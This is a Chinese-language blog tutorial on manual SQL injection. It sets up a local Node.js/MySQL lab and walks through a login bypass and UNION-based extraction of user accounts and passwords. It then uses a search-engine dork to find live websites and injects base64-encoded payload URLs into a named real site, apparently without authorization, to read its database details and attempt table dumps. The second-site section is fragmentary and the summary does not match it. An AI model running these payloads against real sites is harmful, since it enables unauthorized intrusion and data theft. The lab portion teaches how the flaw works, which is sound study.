手動SQL注入—原理分析與實踐


代碼倉庫

本文所用代碼的代碼庫地址:

了解SQL注入

定義

SQL注入攻擊(SQL Injection),簡稱注入攻擊,是Web開發中最常見的一種安全漏洞。可以用它來從數據庫獲取敏感信息,或者利用數據庫的特性執行添加用戶,導出文件等一系列惡意操作,甚至有可能獲取數據庫乃至系統用戶最高權限。

原理

造成SQL注入的原因是因為程序沒有有效過濾用戶的輸入,使攻擊者成功的向服務器提交惡意的SQL查詢代碼,程序在接收后錯誤的將攻擊者的輸入作為查詢語句的一部分執行,導致原始的查詢邏輯被改變,額外的執行了攻擊者精心構造的惡意代碼。
從本質上來說,SQL注入和XSS注入很相似,都是因為沒有做好對用戶的輸入控制而導致的錯誤。

環境准備

  • 安裝PostgresSQL 和 Mysql:
sudo apt-get update
sudo apt-get install postgresql pgadmin3
sudo pg_createcluster -p 5432 -u postgres 9.3 virusTest --start
sudo netstat -aWn --programs | grep postgres
  • 安裝Mysql
sudo apt-get update
sudo apt-get install mysql-server
  • 創建數據庫
sudo su
su postgres
psql
create database virustest
  • 在Ubuntu上安裝NodeJs
wget -t https://nodejs.org/dist/v6.9.1/node-v6.9.1-linux-x64.tar.xz
tar -xf node-v6.9.1-linux-x64.tar.xz
cd node-v6.9.1-linux-x64.tar.xz/bin
ln -s *****  /usr/local/bin/node
ln -s *****  /usr/local/bin/npm

經典注入:' or 1=1#

准備工作

  • 編寫models/index.jsmodels/migrate.jsmodels/User.js創建如下圖所示的User表:
User表
account password
test0 1234560
test1 1234561
test2 1234562
  • 執行node models/migrate初始化數據庫
  • 編寫 first/index.js 定義簡單的服務器
  • 編寫 views/index.html 定義簡單的登錄頁面
  • 安裝所有依賴npm install

實踐

數據庫初始化完成后,我們來開心的模擬一次經典的登錄注入操作 :使用' or 1=1#繞過用戶名和密碼驗證直接登錄。

  • 啟動服務器 node first/index.js,訪問http://localhost:5000/看到如下網頁
  • 輸入 account : test0, password : 1234560,可以發現登錄成功

  • 輸入 account : test0, password : wrongPassword,可以發現登錄失敗

  • 輸入 account : ' or 1=1# , password : test,可以發現登錄成功!!!

我們來看看后台代碼中對用戶輸入的用戶名和密碼進行驗證的的SQL語句:

`select * from Users where account ='${account}' and password='${password}'`

我們將account:' or 1=1#,password:test 的值帶入,這條語句變成了:

select * from users where account = '' or 1=1 #' and password='test'

可以看到:

  • SQL的Where子句就變成了永真,因為account='' or 1 = 1永遠成立。
  • #后面的語句全部變成了注釋(mysql可以用#號來注釋代碼),不會影響代碼正確運行,服務器不會返回500。

這個注入能夠成功的原因就在於——靈活使用'字符和#字符。

Union子句的妙用

准備工作

  • 編寫models/Article和models/migrate.js定義如下圖所示的Articles表:
圖片名稱
* 執行```node models/migrate```初始化數據庫 * 編寫路由代碼: ```javascript router.get("/article",function *(){ var ctx = this; var query = ctx.request.query; var articleId = query.id || 1; debug("SQL",`select * from Articles where id = ${articleId}`); var data = yield db.query(`select * from Articles where id = ${articleId}`,{ type: db.QueryTypes.SELECT }); data = data.length !== 0 ? data[data.length - 1] : { title : "沒有這個文章", content :"

沒有這個文章

" }; // debug(data); yield ctx.render("index.html", data); }) ``` 此路由函數會先接收GET參數傳來的id,使用SQL對id進行查詢,將查詢到的數據渲染到html返回給瀏覽器端。

實踐

  • 啟動服務器 node first/index.js,訪問http://localhost:3030/article?id=1,可以看到如下圖所示的界面:
圖片名稱
* 訪問 ```http://localhost:3030/article?id=3/*ABC*/```,可以發現返回的頁面沒有變化,這說明后台對輸入沒有過濾,這里是可以注入的。 * 確認頁面可以注入后,訪問```http://localhost:3030/article?id=3 and 1=2```,可以發現頁面顯示沒有文章,因為1=2的判斷導致SQL的Where子句永遠為false,所以沒有文章返回。
圖片名稱
* 使用union子句得到當前文章所在表的列數,從1開始測,依次訪問以下網址 ``` http://localhost:3030/article?id=3 and 1=1 union select 1 http://localhost:3030/article?id=3 and 1=1 union select 1,2 http://localhost:3030/article?id=3 and 1=1 union select 1,2,3 http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4 http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5 ``` 前四步都顯示:
圖片名稱
這是因為union兩頭連接的表的字段數不一致,所以SQL語句執行結果是錯誤的。而訪問```http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5```成功,這是因為Articles表的列數就是5,訪問這樣的網址,后台實際執行的SQL語句及其結果如下圖所示:
圖片名稱
  • 訪問http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5,我們發現頁面展示的還是id=3的文章,查看路由處理的代碼:
圖片名稱
可以發現,默認返回的是第一條數據,所以我們加一個order by id DESC就可以看到別的數據了: ``` http://localhost:3030/article?id=3 and 1=1 union select 10000,2,3,4,5 order by id DESC ``` 訪問上述網址,后台執行的SQL語句及其結果如下圖所示
圖片名稱

所以頁面的返回結果是:

圖片名稱

我們可以看到我們傳給后端的2,3分別在這里被展示在了頁面上。

  • 首先,我們要知道數據庫的版本和數據表的名稱,訪問以下網址:
http://localhost:3030/article?id=3 and 1=1 union select 10000,version(),database(),4,5 order by id DESC  

我們就可以看到數據庫的版本和數據表的名稱:

圖片名稱
這里記下virustest這個數據庫的名稱。
  • 知道了數據庫的名稱后,嘗試得到我們所需要的表的名稱,將訪問的網址改成:
http://localhost:3030/article?id=3 and 1=1 union select 10000,2,TABLE_NAME,4,5 FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=virustest order by rand() DESC  

其中的order by rand()可以幫助我們隨機地看到數據庫中有哪些表,我們多訪問幾次,就可以看到有一個Users表:

圖片名稱
這個Users表就非常有用,我們來繼續注入,嘗試着拿到用戶名和密碼。
  • 知道了數據表的名稱后,就可以嘗試着得到表中列的名稱,將訪問網址改成:
http://localhost:3030/article?id=3 and 1=1 union SELECT 10000,COLUMN_NAME,3,4,5 FROM information_schema.columns where TABLE_SCHEMA='virustest' and TABLE_NAME='Users' order by rand()

由於有order by rand(),多訪問幾次,我們就可以陸續看到所有的列名,有兩個字段我們比較感興趣:

圖片名稱
圖片名稱
記住“account”字段和“password”字段
  • 知道了數據表的列名后,就可以開始拖庫了,訪問以下網址:
http://localhost:3030/article?id=3 and 1=1 union select 1,account,password,4,5 from Users order by rand() DESC

訪問結果如下圖所示:

圖片名稱
不斷訪問這個網址,就可以陸續看到數據庫中的所有用戶名和密碼。

實戰

搜索引擎的使用

使用Google搜索inurl:.php?id=MTM=,這里inurl指的是在url內有后面字符串的網站,后面的id=MTM=是指base64加密后的id=13,表明網站對URL進行了base64處理。Google查詢出來結果如下:

我自己經過刪選測試,選取了兩個網站:

本次就對這兩個網站進行破解,先回顧一下我們上次自己研究的幾個破解步驟:

  • 測試能否被注入
  • 通過union測表段數目
  • 通過mysql函數得到數據庫的名稱
  • 通過INFORMATION_SCHEMA查詢表的名稱和表內行的名稱
  • 獲取想要的數據

我們借助http://www1.tc711.com/tool/BASE64.htm這個base64工具進行base64加解密

第一個網站的SQL注入

* 通過union測表的列數,我們從1到30挨個測,最后測試出來表的列數是15,訪問[http://www.comresearch.org/serviceDetails.php?id=MTMgYW5kIDE9MSB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTU=](http://www.comresearch.org/serviceDetails.php?id=MTMgYW5kIDE9MSB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTU=),base64串的含義是```id=13 and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15```,結果如下圖所示,可以看到有頁面有九個顯示位,顯示位很多,就不需要concat()函數將多條數據拼接到一起了
* 通過mysql函數得到數據庫的名稱,訪問[http://www.comresearch.org/serviceDetails.php?id=MTMgYW5kIDE9MSB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMsNCw1LDYsNyw4LDksMTAsdmVyc2lvbigpLDEyLDEzLDE0LDE1](http://www.comresearch.org/serviceDetails.php?id=MTMgYW5kIDE9MSB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMsNCw1LDYsNyw4LDksMTAsdmVyc2lvbigpLDEyLDEzLDE0LDE1),base64串的含義是```id=13 and 1=1 union select 1,database(),3,4,5,6,7,8,9,10,version(),12,13,14,15```,我們可以看到如下圖的結果,表明數據庫的名稱是csearch,版本是4.0.25
* 通過INFORMATION_SCHEMA查詢表的名稱和表內行的名稱,訪問[http://www.comresearch.org/serviceDetails.php?id=MTMgYW5kIDE9MSB1bmlvbiBzZWxlY3QgMSwyLDMsdGFibGVfbmFtZSw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTUgZnJvbSBpbmZvcm1hdGlvbl9zaGNlbWEg](http://www.comresearch.org/serviceDetails.php?id=MTMgYW5kIDE9MSB1bmlvbiBzZWxlY3QgMSwyLDMsdGFibGVfbmFtZSw1LDYsNyw4LDksMTAsMTEsMTIsMTMsMTQsMTUgZnJvbSBpbmZvcm1hdGlvbl9zaGNlbWEg),base64串的含義是```id=13 and 1=1 union select 1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15 from information_shcema```,結果竟然是沒有權限!!!
進行到這里,發現這個數據庫用戶沒有足夠的權限,我決定放棄,盲注猜表名和錯誤回顯法的耗時較長,同時這個網站應該主要是用來搜索,我嘗試了沒有找到users表和admins表就放棄了。

第二個網站的SQL注入

可以發現網頁報錯,我判斷系統后面加入了```limit 5```這個子句,由於SQL語法不允許```order by```子句在```limit```子句前面,所以網站發生了錯誤。

總結

我們進行了兩次對互聯網網站的SQL注入,第一次不是很成功,第三次好歹是拿到數據了,嘗試了一下擴大戰果,select user,password from mysql.user,失敗= - =,估計是沒有權限。select hex(load_file())的方法也是失敗,畢竟mysql版本是5.5,安全級別較高,想要load_file()還是很難的。

通過以上的實踐,我們可以總結出一些防范SQL注入的方法:

  • 限制權限,單獨搞一個數據庫和用戶暴露給外界,把查詢的范圍和權限限制死,你就算可以注入也然並卵,數據沒有用啊!
  • 直接過濾掉union或者select,不允許傳的參數里面帶有這個(360的做法)

在Restful API的時代,開發者在開發一個項目的時經常用到類似於id=?或者title=?這樣的GET參數查詢,后端通信可能會有很多這樣的漏洞,而這樣的漏洞造成的后果往往是災難性的。開發者尤其是后端開發者一定要注意哦!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM